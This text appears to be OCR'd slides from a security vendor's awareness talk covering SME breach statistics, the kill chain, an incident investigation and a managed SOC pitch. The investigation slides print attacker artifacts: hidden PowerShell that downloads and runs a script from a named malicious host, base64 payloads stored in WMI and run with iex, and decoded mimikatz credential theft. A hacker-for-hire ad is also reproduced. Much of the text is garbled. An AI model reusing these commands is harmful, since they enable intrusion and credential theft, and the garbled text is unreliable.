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« Managing Director of TopSOC Information Security Limited o

« BSc (Hons) in Systems Design, MSc in Information
Security (London)

« 25 years IT and Security working experience in Banking,
Government, Telecom, Gaming and Consultancy

» Experience includes establishment of new information
security team, Designed and Built 2 Tiers DDoS
Protection Service, Managed the design and built of data
centers, Managed 13 DCs and 540+ ELVs, ISO27001,
PCI, 1ISO20000, Compliance Advisory, BCP and DRP,

Terry Cheung etc.) - |
« Security consultation services for banks, insurance and
President utility companies and Macau government departments
 Instructor for CISSP and CISA course for more than 7
ISACA Macao Chapter years

» Founder for ISACA Macao Chapter and CSA HK &
Macau Chapter

* Promote security in Macau and Hong Kong

» CISI CISP CISSP CCSP CISM CISA CDPSE CITP CEng
ACP MVP

« Sophos Certified Architect, Engineer, Technician, Sales
Engineer

» Fortinet NSE3, CyberArk Certified Trustee
o CISI certified CISP trainer




ISACA

Global Non-Profit Professional Association for Individuals and Enterprises

Certified in the Certified in Risk
Certified Information Certified Information Governance of Certified Data Privacy and Information CSX Cybersecurity
C I SA Systems Auditor. C I SM Security Manager. CG EIT Enterprise IT. CDPSE Solutions Engineer. CR'SC Systems Control CSX‘ P Practitioner.
An ISACA" Certification An ISACA’ Certification An ISACA" Certification An ISACA’ Certification An ISACA’ Certification An ISACA" Certification
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CERTIFICATIONS ISSUED

8% ISACA

CHAPTERS

83 ISACA.

Macao Chapter




People are Our Top Priority

Migrantes y Refugiados
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ISACA Certifications

Certified Informat Certified Inf Lol bk e Certifed nRisk

ertified Information ertified Information Governance 0 ertified Data Privacy and Information

CISA Systems Audior CISM Systems Manager. CGEIT Enterprise IT. CDPSE Solutions Engineer. CRISC. Systems Control
An ISACA' Certification An ISACA' Certification An ISACA" Certification An ISACA’ Certification An ISACA" Certification

Certified in
Information
= Emerging SITCA. Technology
= C ET Technology Certified Assoclate,

An ISACA® Certification

Best Professional
Certification Product/Service of
Program Finalist the Year
SC Awards 2021 IT World Awards 2021 SC Awards 2021
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cloud
MDA A

LOM security

Cloud Security Alliance (CSA) is the world’s leading organization dedicated to defining and raising
awareness of best practices to help ensure a secure cloud computing environment.

B

Earn your certificate Read the latest cloud Improve your Volunteer for a
in cloud security = security research = compliance research working
with STAR= group =
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. S B S Trusted %
vLon Y4 ¥ Cloud
Provider

Certificate of
Cloud Security Knowledge

Certificate of Cloud Auditing Knowledge
A Cloud Security Alliance® and ISACA® Credential
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Percentage comp:'rqmised‘by at least one
successful attack in the P’ast 12 months,

{ ;'l i- : € ,
VL e ] ¥ :
Jomend o by industry
& i \\l kLl B haden ' j oo DX
'. g ot '\\! ] % 2 ,h‘? i §
ces o JLEEERRET Lo | |
. AN A . 90.5%
Telecom & Technology 90.3%
88.2%
86.4%
85.6%
Healthcare 75.3%
ozl 68.2%

Source: 2022 Cyberthreat Defense Report



SME Cyber Security Statistics

Status of Cybercrime

in COVID-19 pandemic

600%

increased in cybercrime
due to Covid-19 pendemic

(Preclue)

v

What Percentage Of Small Businesses
Are Hit By All Cyber Attacks

On average,

41.63%

of small businesses are hit by cyber
attacks

(Firewall Times, Advisorsmith, IBM,
Cybersecurity-Magazine, 360 coverage pros,
SecurityMagazine, and Tripwire)

What Percentage Of Cyber Attacks

Are Caused By Human Error?

About

91.5%

of cyber attacks are caused by human
error

(Verizon Data Breaches Investigations Report,

Stanford University, IBM, Varnois, Forbes,
TechXplore, TheHackernews, Cybernews,
Infosecurity-Magazine, ChiefExecutive)

30UTOF 4

t‘“‘ small businesses say they

don't have sufficient
personnel to address IT
security

34%

of businesses hit with
malwa'e took a Weel( or more

to regain access to their data

)

Renolon

66%

of small businesses are very

concerned about cyber

security risk

What Percentage Of Small Businesses

Fail After A Cyber Attack?

About

60%

of small businesses that suffer a cyber
attack will go out of business within 6
months

(Fundera, CybersecurityVentures, CIAB, Idagent,
INC, and Nerdsonsite.)

01%

of small businesses say they
are not c1||ocating any budge

to cyber security

Renolon

Of Smu" businesses are
unprepared to deal with a

cyber attack
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Looking to 2023, what is your biggest
concern related to security?

25% =
20% =
15% =
10% =

5% =

0%

Ransomware Phishing DDoS attacks Data loss/ Lack of time Lack of budget Other
attacks attacks data theft to manage to manage
security security

DigitalOcean
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Intrusion Prevention System

IPS produces many false
positive alerts and neglect
may real attacks.

P.

CQQ

Firewall

Firewall can be easily
bypassed by the newly
defined threats.

O Email
Prevention

Email Prevention System

Hacker can send Phishing
emails to your mailbox even
you have email protection
system.

Advanced Persistent Threat

Hackers have widely shared
the code on how to detect and
bypass Modern Sandboxes.

Anti Virus

Al Endpoint Protection

No matter what Endpoint
protection system with Al
Detection you have, hacker
can still bypass and deliver
malwares to your devices.



Lack of Islands of

Security
Resources

Security
Technologies

A RERE R £
Meat on Cutting Board

Hacking Under
Business 0 estimate of
Models 9570 Security Risks
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Rent-A-Hacker products | Fags | register | Login]

Rent-A-Hacker

Experienced hacker offering his services!
(Illegal) Hacking and social engineering is my business since i was 16 years old. I never had a real job, so i had the time to get
really good at hacking and i made a good amount of money last +-20 years.

I have worked for other people before, now i am also offering my services for everyone with enough cash here. An yo n e Ca n
Prices: :
I am not doing this to make a few bucks here and there, i am not from some crappy eastern europe country and happy to scam h I re a h aCke r

people for 50 EUR.

I am a professional computer expert who could earn 50-100 EUR an hour with a legal job.

So stop reading if you don't have a serious problem worth spending some cash at. to h aCk
Prices depend a lot on the problem you want me to solve, but minimum amount for smaller jobs is 250 EUR.
You can pay me anonymously using Bitcoin.

or

Technical skills:
- Web (HTML, PHP, SQL, APACHE)

- C/C++, Assembler, Delphi t t

- Oday Exploits, Highly personalized trojans, Bots, DDOS O rlgg e r
- Spear Phishing Attacks to get accounts from selected targets
- Basically anything a hacker needs to be successful, if i don't know it, i'll learn it very fast Ra n SO mWa re
- Anonymity: no one will ever find out who i am or anything about my clients.

Social Engineering skills:

- Very good written and spoken (phone calls) english, spanish and german. attaCkS
- If i can't hack something technically i'll make phone calls or write emails to the target to get the needed information, i have

had people make things you wouldn't believe really often.
- A lot of experience with security practices inside big corporations.

What i'll do:

I will do anything for money, i'm not a pussy. If you want me to destroy some business or a persons life, i'll do it!

Some examples:

- Simply hacking something technically

- Causing alot of technical trouble on websites / networks to disrupt their service with DDOS and other methods.

- Economic espionage

- Getting private information from someone

- Ruining your opponents, business or private persons you don't like, i can ruin them financially and or get them arrested,
whatever you like.

If you want someone to get known as a child porn user, no problem.
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Intrusion Kill Chain

S
" S ) 5] g
rvy y—=\

Command &
Control (C2)

Actions on
Objectives
Ph®]
5T

* |Intruder

)

* Intruder selects  Intruder  Intruder * Malware * Malware » Malware

target,
researches it,

and attempts to

identify

vulnerabilities in

the target
network.

creates remote
access
malware
weapon, such
as a virus or
worm, tailored
to one or more
vulnerabilities.

transmits
weapon to
target (e.g.,
via e-mail
attachments
, websites
or USB
drives)

weapon's
program code
triggers, which
takes action
on target
network to
exploit
vulnerability.

weapon
installs access
point (e.g.,
"backdoor")
usable by
intruder.

enables
intruder to
connect and
have “hands
on the
keyboard”
persistent
access to
target
network.

takes action
to achieve
their goals,
such as data
exfiltration,
data
destruction,
or encryption
for ransom.

) oo

Leverage, discover, analyze Atomic, computed and behavior indicators
Campaign Analysis — Tactics, Techniques and Procedures
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Process details : powershell.exe

Name:

Command line:




tE 020 Tl po
Task Manager
File

Options View

Processes Performance sers Details
Name

CscService

DcomlLaunch

DcpSvc

defragsvc

DeviceAssociationService

Deviceinstall

Dhcp

dlainc:txc:hub.:tandardcc -

dmwappushservice

Dnscache

dot3svc

DPS

DsmSvc

DsSvc

Eaphost
EDARUWIPDKVPRXCIBMWP
EFS

embeddedmode

Eventlog

EventSystem

FontCache

FrameServer

Fewer details

Services

Description

Offline Files

DCOM Server Process Launcher
DataCollectionPublishingService
Optimize drives

Device Association Service

Device Install Service

DHCP Client

Microsoft (R) Diagnostics Hub Standard Collector Service

dmwappushsvc

DNS Client

Wired AutoConfig

Diagnostic Policy Service

Device Setup Manager

Data Sharing Service

Extensible Authentication Protocol
EDARUWIPDKVPRXCIBMWP
Encrypting File System (EFS)
Embedded Mode

Windows Event Log

COM-+ Event System

Windows Font Cache Service

Windows Camera Frame Server




Action View Help

7] . ni

Services (Local)

Services (Local)
EDARUWIPDKVPRXCIBMWP

Name

Diagnostic Service Host
tart the service Diagnostic System Host
Distributed Link Tracking Cl
Distributed Transaction Coo
dmwappushsvc
Downloaded Maps Manager
i EDARUWIPDKVPRXCIBMWP
Embedded Mode

I, 2 germen

Extensible Authentication P
Function Discovery Provide
Function Discovery Resourc
Geolocation Service

Group Policy Client

rvice

Human Interface Device Ser

I I/ I
A 3 v
s 0, 2

VESCNPl EDARUWIPDKVPRXCIBMWP Properties (Local Computer) pus
The Dia
The Dia

Maintay

'mmg

Lenera dences

Log On \ Depe

'|nmg
- Service name WIPDKVPRXCIBMWP
Coordir

WAP Py

pning
Display name - PDKVPRXCIBMWP
pning

Windov

The Em|

Enables
The Exty
The FD}
Publish
This ser

Service status Stopped

pring

The sen|

S‘m 'lﬁlﬁ;

Exploit | pning
You can spec

rom here

Activat he start parameters that apply when you start the service
Activatd [l g

Provide
Provide Start parameters
Provide

Provide

Monito Cancel

a'(‘-\dfﬂ CRARA A0 AL A RAY l"d”ﬂgl’ VITUET TIat e Wit FOWeET JIen vig v e
Provides a platform for communication between the virtual machine and the
Synchronizes the system time of this virtual machine with the system time of ..

Coordinates the communications that are required to use Volume Shadow C

Startup Type
Manual
Manual
Automatic
Automatic (D
Manual (Trig...
Automatic (T
Automatic (D
Manual
Manual (Trig
Manual (Trig
Manual
Manual
Manual
Manual
Manual (Trng
Automatic (T
Automatic
Manual (Trg..
Manual (Trng
Manual (Trig
Manual (Trig
Manual (Trig
Manual (Trig
Manual (Trig
Manual (Trig
Manual (Tng..

Manual (Trig

Log On As

Local Service
Local System
Local System
Network Serv
Local System
Network Serv
Network Serv
Local System
Local System
Local System
Local System
Local System
Local Service
Local Service
Local System
Local System
Local System
Local System
Local System
Local System
Local System
Local System
Local System
Local System
Local System

Local Service

Temporary Clipboard

Remote desktop clipboard contents

f\&(,\

16 );jelsefie v
t).DownloadString( https://profetestruec.

bClien




DsSve Name ) Data
DXGKrnl

eliexpress

b (Default) (value not set)
*» DisplayName E UWIPDKVPRXCIBMWP
# ErrorControl G_ D Ox0 0
b ImagePath %COMSPEC% /C "cmd /c powershell.exe -NoP -Nonl -W Hidden “[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {Strue)if((Get-WmiObject Win32_OperatingSyste...

b ObjectName 4 LocalSystem

ebdcoe
ebastor
embeddedmc Edit Stning
EntAppSvc

Value name
ErDev

imagePath|

Value data

Eventlog gect Net WebClient) D oad String(het profetestruec net/inl ps1

Cancs

EventSystem
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Malware website

. https:/iprofetestruec.net/ **
g v SO T

“ea 'Y

16 security vendors flagged this URL as malicious

text/ntml; charset=iso 9 2021-10-14 11:18:14 UTC

DETECTION DETAILS COMMUNITY

VIINUSLabs ) alicious alphaMountain.ai

Antiy Valicious Avira (no cloud)
Certego
DrWeb
ESET v E urity-Threat Inside
Fortinet
Lionic alicious Lumu
Sophos Webroot

int ThreatSeeker Abusix
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Event Viewer

File Action View Help
- gl

d] Event Viewer (Local Windows PowerShell Number of events: 9,623

» Custom Views

v _ & Windows Logs Level Date and Time Source Task Category
47472021

-1 Application i) Information 4/4/202

-
/20212
-

14 AM PowerShell (PowerShell Provider Lifecycle

.58
.58

o1 Security i ' Information 4/4 14 AM PowerShell (PowerShell 500 Provider Lifecycle
Setup i) Information 4/4/2021 2:58:14 AM PowerShell (PowerShell 500 Provider Lifecycle
System i ) Information 4/3/2021 11:12:18 PM PowerShell (PowerShell 03 Engine Lifecycle

Forwarded Events Information 47372021 11:11:33 PM PowerShell (PowerShell) Engine Lifecycle

Applications and Services Lo

] H N vents S
ardware Even Event 400, PowerShell (PowerShell)

« | Internet Explorer
« | Key Management Service General Details

Microsoft
+] Veeam Backup ®) Friendly View ) XML View

i+ | Windows PowerShell

Subscriptions + System

- EventData
Available
None
NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=ConsoleHost
HostVersion=5.1.14393.3866 Hostld=4b13d8dc-6b60-43f5-a17e-488109579129 HostApplication=powershell
NoP -Nonl -W Hidden -exec bypass $am = ([WmiClass] ‘root\default:systemcore_Updater8’).Properties
[‘am’].Value;$deam=[System.Text.Encoding]:ASCIl.GetString([System.Convert]::FromBase64String($am));iex
$deam;$co = ([WmiClass] ‘root\default:systemcore_Updater8’).Properties['enco’].Value;$deco=
[System.Text.Encoding]:Unicode.GetString([System.Convert]:FromBase64String($co));iex $deco
EngineVersion=5.1.14393.3866 Runspaceld=ae087d93-31b2-4831-b8d7-e01c16eafcb2 Pipelineld=
CommandName= CommandType= ScriptName= CommandPath= CommandLine=
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The Powershell Script

"

SAL

| StdRegProv

Windows PowerShell

.

__ClassDeletionEvent {
_ ClassModificationEvent {
__ClassCreationEvent {
__InstanceOperationEvent {
__InstanceCreationEvent {
__MethodInvocationEvent {
__InstanceModificationEvent {
__InstanceDeletionEvent {
__TimerEvent {
__ExtrinsicEvent {
__SystemEvent {
__EventDroppedEvent {
__EventQueueOverflowEvent {
__QOSFailureEvent {
__ConsumerFailureEvent {
RegistryEvent {
RegistryKeyChangeEvent {
RegistryTreeChangeEvent {
RegistryValueChangeEvent {
__EventGenerator {
_ TimerInstruction {
__AbsoluteTimerInstruction {
__IntervalTimerInstruction {
__Provider {
__Win32Provider {
_ CIMOMIdentification {
__AdapStatus {
_ SystemSecurity {
systemcore_Updater8 {

{

{

{

retSD, GetSecuri.

) ‘reateKey,
SystemRestoreConfig

SystemRestore ‘reateRestorePoi.

PS C:\Users\administrator> Get-CimClass

NameSpace: ROOT/default
CimClassName CimClassMethods
systemcore_Updater8 {}

PS C:\Users\administrator> (Get-WmiObject
PS C:\Users\administrator> o

Delet...

(SECURITY_DESCRIPTOR,
{SECURITY_DESCRIPTOR,
{SECURITY_DESCRIPTOR,
{SECURITY_DESCRIPTOR,
(SECURITY_DESCRIPTOR,
{SECURITY_DESCRIPTOR,
{SECURITY_DESCRIPTOR,
(SECURITY_DESCRIPTOR,

TIME_CREATED,
TIME_CREATED,
TIME_CREATED,
TIME_CREATED,
TIME_CREATED,
TIME_CREATED,
TIME_CREATED,
TIME_CREATED,

TargetClass)
TargetClass,
TargetClass)
TargetInstance)

TargetInstance)

TargetInstance, Method...)
TargetInstance, PreviousInstance)
TargetInstance)

PreviousClass)

{SECURITY_DESCRIPTOR, TIME CREATED, NumFirings, Timerld)
{SECURITY_DESCRIPTOR, TIME CREATED)

{SECURITY_DESCRIPTOR, TIME CREATED)

{SECURITY_DESCRIPTOR, TIME CREATED, Event, IntendedConsumer)
{SE(_'L'RI'l’Y_.NjSCRlPIUR. TIME_CREATED, Event, IntendedConsumer...)
{SECURITY_DESCRIPTOR, TIME_CREATED, Event, IntendedConsumer...)}
{SECURITY_DESCRIPTOR, TIME_CREATED, Event, IntendedConsumer...)}
{SECURITY_DESCRIPTOR, TIME_CREATED)

{SECURITY_DESCRIPTOR, TIME CREATED, Hive, KeyPath}
{SECURITY_DESCRIPTOR, TIME CREATED, Hive, RootPath)
{SECURITY_DESCRIPTOR, TIME CREATED, Hive, KeyPath...)

{)

{bklpl“)d\\kd Timerld)

{SkiplfPassed, Timerld, EventDateTime)

{bklpli}’asud Timerld, IntervalBetweenEvents)

{Name }

{Name, ClientLoadableCLSID, CLSID, Concurrency...)

{SetupDateTime, VersionCurrentlyRunning,

VersionUsedToCreateDB, WorkingDirectory)

{LastStartTime, LastStopTime, Status)
S8

{am, enco, funs, mimi...)

{)

{DiskPercent,
. {CreationTime,

CimClassProperties

c root\default

MyKey, RPGloballnterval,
Description, EventType,

> mimi

A5l

RPLifelnterval...)
RestorePointType. ..}

).GetText( ) | Out-File c:\MOFofMaliciousClass_systemcore_Updaterd. txt
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“Powershell Script

wnload Cy ﬂf#—‘_!

Operations
2] VirusTota X BuWAHMARQBZA

% S g RO 2 S z T s : ;Atg.‘x.‘l.s AH B S AAPQAg
€ C @ viustotaloony/gul/url/07 cnadbiabls sl X AR et : BATQBHAFA AY1B1AHMACWANAAGACQBPAG
ABiACAALQBUAGUATAAKAGAAAQBSAGHAKQAZACOAYQBUAGQAT AAGACQAY ZAUAGNAbWBUAHQAYQBPAGAACHACAC T AQUAGAF WAVWBPAGAAZABYAHCA

PBzAHQAZQBtADMAMEBCAF cAZQBUAGQAbWB3AHMAUABVAHCAZQBYAFMAZABI AGWADAB CAHYAMQAUADAAXABWAGBAdWB1AHIACWBOAGUADABSACAAZQ

ca,

[a("k-'.xKQB?-“-LBA(S_LTLAkAZgE? AGWAC g‘?lLGFL‘?[aS:LC:«AE ABpAHMAdAATAARAC GAJAHBAZQBSAHM 7QB7LAR-‘ACQL‘.J£ALL.AZEE'IAGQLT-‘.LEAG..L&Q?I
\C»"(.Q-"n.‘v ':':A'«;I«E:‘-(f«(.@u‘\lQE‘.-J‘.H\»\CE,Bl~'A'(_~"’-'\'.’Q!:vj.’A‘«-‘_wLi«ﬂgEf i:‘_\l".[»\»"‘t»’(:Un‘lef‘BjA'«(:',.‘»‘-:QB:n\f;bk:)x.EL»‘-'—.’.;\Cbb'. AGMAZQBZAHMATAAIAEMAOgGBCAF
buB3AHMAXAB TAHKA CWBOAGUADQAZADIAXABXAGKAbEBKAGSAdWBZ AFAAbWBIAGUACEB TAGZAZOB SAGWAXAB2ADE AL gAWAFWACABVAHCAZQBYAHMA
MAUAGUAeAB1ACIADQAKAAKAFQANAAOADQAK AHOADQAKAABACZANAAOAJABZAGUAPQBAACEA JnBZAGOAagBqAHYAL gB4AHKAe gAGADgAMAAWADAA I
AGBAZgB1AHQAZQBzAHQACZB1AGUAYWAUAGAAZQBAADOADAAWADAAMAANACKA TwB3AGKADEB1 AHAAZ ABhAHQAZQAUAGYAZQBY AGUAdWBhAGRADAAL
UAdwBhAHKAL gBKAGUAOGA4ADAAMAAWACCALAANADQANQAUADEANAAWACAADAALACAAMQADADUADGALADAAMAAL CALAANADIAMAATACAAMgAWAD
AMgAUAD CAOAABADGAMAAWADAA JwAPAABAC gAKAHMAZQBZ ADBAQAACAC CACWBGAGOAagB2ACAACABS AHO sA 3 YAGEAZEB1AHQAZQBZAHQA
AUAGAAZQBRACCALAANAHCAQBUAHUACABKAGEAAB1ACAAZgBpAHIAZQBAGEADABSACOAZWBhAHQAZQB 3AGEAEQAUAGQAZQANACWAIWABADUAL G
IADgAOAAUADE ANAATAC CALAANADT AMAA AC4AMEAWADKAL gAXADUAMZAUADCAOAANACKADQAKACQAb gBpAGHAPQAKAGAACQB sAGWADQAKAGYAbWBY
gAKAAKAHQAT ABpAGAATAAKAHMAZQADAABACEB7AABACEAIACQAYZBhAGAAPQAOACEAT gB1AHCALQBPAGTAagB 1AGMAJAAGAE4AZQBBACAAVWB1AG

dA;
QAKQAUAEQAL 3AG4AbABVAGEAZABTAHQAC g8 AOACTASABOAHQAC AC3ALWAKAHQALWBIA EBUAGUACGAIACKAK(

MOACQAYEBhAGIATAATAGAAZQAGACQADEB1AGIADAAPAABAC gAJAHSADQAKAAKACQAKAGAAZQB ADBAIWBOAHQAJABWADOAL WAVAC CAKWAKAHQADQ
AHIAZQBhAGSADQAKAAKATQANAACATQANAACASQBMACAAKAAKAGIAYQBUACAALQBIAHEAIAAKAGAAJQBSAGWAKQANAACARWAIAABACEAIAFSAUWBS
DETECTION DETAILS COMMUNITY o BALgBOAGUAJAAUAFMAZQBYAHYASQB jAGUAUABVAGKADZB® ECLYOEJ-GE‘—‘«ZuDlLIII-’:)(?AE'—‘OcA‘J‘.E' AHIAdgBlAHIAQWB1AHIAJABpPAGYAaQBIAG
AYQBSAGKAZABhAHQAaQBVAGAAQWBhAGWADABIAGEAYWBrACAAPQAgAHSATABOAHIAIQB1AHRADQAKAAKAZ gBVAHTAZQBhAGMAZAACACQAdAAgAGK

B1AHMAKQANAAOACQB7AAPACEAIAAKAIAB I AGEADEAIACEAKABOAGUAdWATAE BAYEBQAGUAYWBRACAATgB1AHQAL gBXAGUAYgBDAGWASQB1AGAAdA
Categories

ware callhome, command and contro
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History : .
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First Submission

Last Subr

Last Ana

HTTP Response

Final URL

https:/4 3.145/

Serving IP Address

45.140.88.145
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Attackers use Mimikatz o FO u n d M i m i katz

to pass an exact hash string to the
target computer to login.

= Steal Passwords

Mimikatz provides
functionality for a user to pass a

e O T = Test other machines using the stolen
password

This technique passes a unique key to
impersonate a user you can obtain from
WHAT CAN a domain controller.

A golden
ticket gives you domain admin
credentials to any computer on the
network that doesn’t expire.

MIMIKATZ DO?

ATT&CK v10 has been released! Check out the blog post or release notes for more information

Kerberos

grants a user a TGS tICket that‘s SOFTWARE Home > Software > Mimikatz

used to log into any services on the Mimikatz L.

network. MimiPenguin Mimikatz
Miner-C Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and

Genera ||y the same as MiniDuke passwords, along with many other features that make it useful for testing the security of networks “ [I-D' 0002
= 1] 2] i) Type: TOOL
a pass-the-ticket, but uses the saved MirageFox © Platforms: Wind
D Platforms: Windows
and encrypted login data on a -
yp ) 9 Mis-Type Contributors: Vincent Le Toux

Mac/UNIX/Linux system. Misdat Version: 1.4
Mivast Created: 31 May 2017
MobileOrder Last Modified: 20 May 2021
MoleNet

Version Permalink
Monokle
MoonWind Techniques Used ATTRCK® Navigator Layers ~
More_eggs Domain D Name Use
Mosquito Enterprise  T1134 .005 Access Token Mimikatz's MIsc::addsia module can appended any SID or user/group account to a
MURKYTOP Manipulation: SID-History user's SID-History. Mimikatz also utilizes SID-History Injection to expand the scope of
Naid Injection other components such as generated Kerberos Golden Tickets and DCSync beyond a
ai

single domain. 2l



start: 16296 jength: 16296 Pop—
Input Lo SNd: 16296 Ty A + O] 0 =
ength: = :

DQAKACQAwaNAHHAeQBZADGPRMBlAHQALQBXAG@A&QBPAGIAagBlAGHAdAAgAFCAaQBUADHANgBFAESACABlAHIAYQBGAGkAbgBnAFHAeQB:AHQAZQBtACAADQ
AKAGKAZgAgACgAIABVAHAACWBSAHMALEB2AGUACEgBZAGKAbWBUACAALQBSAGKAaWB1ACAATgAXADAALEAGACIAKQANAACAEWANAACADQAKAAKATABhACAAPQAS

A aszAnAan sxan..acan ol s o An. A, e s s a Az sl o ARl A AR ANl 0 AN nAD AL sl AnA p1Is0 D.o.ncaniian. . aenars .0l s aaran .n o

start: 12222 time: 38ms
ra
Output end: 12222 1lengtn: 12220 @ I[] 0 -
P length: 2 lines: 204 [J

.".r.o.o.t.\.d.e.f.a.u.l.t.:.s.y.s.t.e.m.c.o.r.e._.U.p.d.a.t.e.r.8.".)...P.r.o.p.e.r.t.i.e.s.[.".m.i.m.i.".]...V.a.1l.u.e.

.$.a2.,. .$.N.T.L.M.=. .G.e.t.-.c.r.e.d.s. .$.m.i.m.i. .$.m.i.m.i.

.$.N.e.t.w.0o.r.k.s. .=. .G.

]
|
=
=
o
o
[}
m
(al

W.i.n.3.2._.N.e.t.w.o.r.k.A.d.a.p.t.e.r.C.o.n.f.i.g.u.r.a.t.i.0.n. .-.E.A. .S.t. e 2.
{.$._...I.P.E.n.a.b.l.e.d.}. . . . . paSSWO rd frOm
. .$.s.c.b.a. Mam.di. a.s.s.].
.".r.o.o0.t.\.d.e.f.a.u. i.s.y.s.t.e.m.c.o.r. .p.d.a.t.e.r. .r.o.p.e.r.t.i.e.s. .C. M = .I t t
.$.s.c.=.[.s.y.s.t.e.m...c.o.n.v.e.r.t.].:.:.F.r.o.m.B.a.s.e.6.4.5.t.r.i.n.g.(.%.s.c.b.a.).
.f.o.r.e.a.c.h. .(.%.N.e.t.w.o.r.k. .i.n. .$.N.e.t.w.0o.r.k.s.). . attaCk OtI ler

rt

(]

o
v

o~
+ -
<
wn
+
™
3
[l
o]
>
™
e
o
a
[+V]
+
[°]
>
o
-
el
-3
o
o
1]
3
+
:
]
w
2
wn
(al
—
=
b
—
e
»

.$.I.P.A.d.d.r.e.s.s. . .=. .$.N.e.t.w.o.r.k...I.p.A.d.d.r.e.s.s.[.0.]. . .
A.f. L(.$.I.P.Ad.d.r.e.s.s. .-.m.a.t.c.h. .".*.1.6.9...2.5.4.".).{.c.o.n.t.i.n.u.e.}. . . Seg me ntS
.$.S.u.b.n.e.t.M.a.s.k. . .=. .$.N.e.t.w.0.r.k...I.P.S.u.b.n.e.t.[.0.]. .
i.f. .(.(.%.I.P.A.d.d.r.e.s. -.m.a.t.c.h ~.1.7.2 ) -.0 (.$.I.P.A.d.d.r.e.s.s.
-.m.a.t.c.h ' 9 1.6.8 ).{.%$.5.u.b.n.e.t.M.a.5.k.=.".2.5.5...2.5.5 8.".]

.$.i.p.s.=.G.e.t.-.N.e.t.w.0.r.k.R.a.n.g.e. .$.I.P.A.d.d.r.e.s.s. .$.S.u.b.n.e.t.M.a.s.k.
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Recommended Remediations

* Good Asset Management
» You need to know what to protect (e.g. Crown Jewels)
» You will not use a safe to protect a HK10 ballpen

« Patch Patch Patch (Good Patch / Vulnerability
Management Practice)
» Basic security requirement

* Risk Management
» Vulnerability being exploited by a threat against an asset
» The level of risk is calculated by the probability and impact
» Higher risk, Higher priority

« |ISO27001 — Information Security Management System




Recommended Remediations

* Ongoing Security Monitoring (Continuous Monitoring)

* Enhance Detection Capabilities
» CTIl — Cyber Threat Intelligence
» SIEM — Security Information Event Management
» EDR — Endpoint Detection & Response
» Network detection, Al, Behavior Analysis, etc.)

* Enhance Response Capabilities (SOAR — Security
Orchestration, Automation & Response )

« Security Awareness Training including Top Management
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Detect andAIert Early Attacks

HACKINE DETECTER ~

S

& ::—‘SOCaaS

Monitoring & Detection

v'Managed SIEM SOCaasS Service

v Cyber Threat Iptelligence Managed Services for Firewall
v" Alerts and advisory and Endpoints

v Central SIEM or On Prem
Monthly R rt
v Monthly Report onthly Repo




Benefit:

Enjoy Comprehensive SOC service at SME Price
Comprehensive detection /protection against early
stage of attacks

Logs offsite backup

3 Months - Logs Backup*

TopSOC 24x7 automated analysis of daily logs
TopSOC 24x7 Critical security alerts

TopSOC manual Threat Hunting and log analysis
Cyber Threat Intelligence Updates

No Need to buy hardware

. No SIEM, OS, SOAR software licenses fee
. SOCaaS+ / Managed Security Services. E.g. Firewall,

EndPoint, UEM*

Detect attacks
from various

©

SOAR Integration
& auto filter



SOCaaS Architecture

Head Quarters

Cloud or
% Hosting 4;

from firewall or Servers and

ally

Internal WiFi
<> Guest WiFi
TopSOC SIE
D Collector
DMZ apse|

Capture Logs
Analyze centr;

Server Farm End User Segment/s

0

CORTEX XDR™

Branch

Level 1 C.

Level 2

Level 3 |




Service Provisioning — 15 Mins

. G

o

Step 1 Step 3
Collect and Document SOCaaS - Install Log
your IT environment. Collector and configure
devices to send logs to
Step 2 Collector.

SOCaaS+ - Install Log
Collector, Firewall and
endpoints. Configurate
devices to send logs to
Collector

Understand service
scope and sign
agreement.

Step 4

The service provisioning
is completed.

SOCaaS - Critical alerts
will be notified and a
monthly report will be
delivered.

SOCaaS+ - Preventive
protection is activated,
Critical alerts will be
managed and a monthly
report will be delivered.

Step 5

Clean up identified issues
continuously and keep the IT
environment clean.
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